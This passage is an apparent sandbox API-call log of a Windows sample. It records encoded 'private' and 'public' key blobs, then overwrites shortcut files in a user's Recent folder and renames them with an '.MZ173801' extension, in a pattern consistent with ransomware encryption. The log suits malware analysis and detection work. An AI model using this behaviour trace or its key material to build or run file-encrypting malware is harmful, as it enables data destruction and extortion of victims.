lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] GetCurrentThreadId () returned 0xab4 [0152.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.539] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.539] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.539] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f3 [0152.539] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.539] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f3, lpOverlapped=0x0) returned 1 [0152.540] CloseHandle (hObject=0x280) returned 1 [0152.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.541] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f3, lpOverlapped=0x0) returned 1 [0152.542] CloseHandle (hObject=0x280) returned 1 [0152.579] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VqltAk.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vqltak.lnk.mz173801")) returned 1 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] GetCurrentThreadId () returned 0xab4 [0152.580] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf23fb336, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf23fb336, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf23fb336, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="W8V9x-I5M8DNxGO4p7hs.lnk", cAlternateFileName="W8V9X-~1.LNK")) returned 1 [0152.580] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.580] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf23fb336, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf23fb336, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf23fb336, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba)) returned 1 [0152.581] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk")) returned 0x20 [0152.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk", dwFileAttributes=0x80) returned 1 [0152.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 